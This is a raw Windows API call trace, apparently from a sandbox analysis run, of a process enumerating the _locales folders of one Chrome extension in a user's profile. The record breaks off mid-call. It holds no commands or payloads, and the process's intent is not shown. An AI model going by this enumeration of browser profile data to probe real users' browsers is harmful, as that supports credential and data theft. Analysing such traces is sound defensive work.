[0069.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.885] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar", lpFilePart=0x0) returned 0x7d [0069.885] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.885] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.885] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az", lpFilePart=0x0) returned 0x7d [0069.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0069.885] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee1c5340, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee1c7a50, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee1c7a50, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0069.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.886] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az", lpFilePart=0x0) returned 0x7d [0069.886] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.886] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.886] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az", lpFilePart=0x0) returned 0x7d [0069.886] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.886] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.886] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg", lpFilePart=0x0) returned 0x7d [0069.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0069.887] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee1cc870, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee1cef80, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee1cef80, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0069.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.887] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg", lpFilePart=0x0) returned 0x7d [0069.887] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.887] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.887] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg", lpFilePart=0x0) returned 0x7d [0069.887] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.887] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.887] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn", lpFilePart=0x0) returned 0x7d [0069.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0069.888] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee1d3da0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee1d64b0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee1d64b0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0069.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.888] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn", lpFilePart=0x0) returned 0x7d [0069.888] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.888] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.888] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn", lpFilePart=0x0) returned 0x7d [0069.888] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.889] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.889] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca", lpFilePart=0x0) returned 0x7d [0069.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0069.889] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee1db2d0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee1dd9e0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee1dd9e0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0069.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.889] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca", lpFilePart=0x0) returned 0x7d [0069.889] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.889] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.889] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca", lpFilePart=0x0) returned 0x7d [0069.889] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.890] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.890] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs", lpFilePart=0x0) returned 0x7d [0069.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0069.890] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee1e2800, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee274fc0, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee274fc0, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0069.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.890] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs", lpFilePart=0x0) returned 0x7d [0069.890] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.890] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.891] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs", lpFilePart=0x0) returned 0x7d [0069.891] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.891] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.891] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da", lpFilePart=0x0) returned 0x7d [0069.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe81c) returned 1 [0069.891] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee27c4f0, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee27ec00, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee27ec00, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe818) returned 1 [0069.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.893] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da", lpFilePart=0x0) returned 0x7d [0069.893] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.893] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe874) returned 1 [0069.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe8a8) returned 1 [0069.893] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da", lpFilePart=0x0) returned 0x7d [0069.893] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.893] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe868) returned 1 [0069.894] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de", nBufferLength=0x105, lpBuffer=0x6cfe3d8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de", lpFilePart=0x0) returned 0x7d [0069.894] GetFileAttributesExW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de" (normalized: "c:\\users\\kft6utqw\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de"), fInfoLevelId=0x0, lpFileInformation=0x6cfe898 | out: lpFileInformation=0x6cfe898*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xee286130, ftCreationTime.dwHighDateTime=0x1d2e633, ftLastAccessTime.dwLowDateTime=0xee288840, ftLastAccessTime.dwHighDateTime=0x1d2e633, ftLastWriteTime.dwLowDateTime=0xee288840, ftLastWriteTime.dwHighDateTime=0x1d2e633, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0069.894] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de", nBufferLength=0x105, lpBuffer=0x6cfe3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de", lpFilePart=0x0) returned 0x7d [0069.894] FindFirstFileW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\*", lpFindFileData=0x6cfe5d0 | out: lpFindFileData=0x6cfe5d0) returned 0x6fd8a40 [0069.894] FindClose (in: hFindFile=0x6fd8a40 | out: hFindFile=0x6fd8a40) returned 1 [0069.894] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de", nBufferLength=0x105, 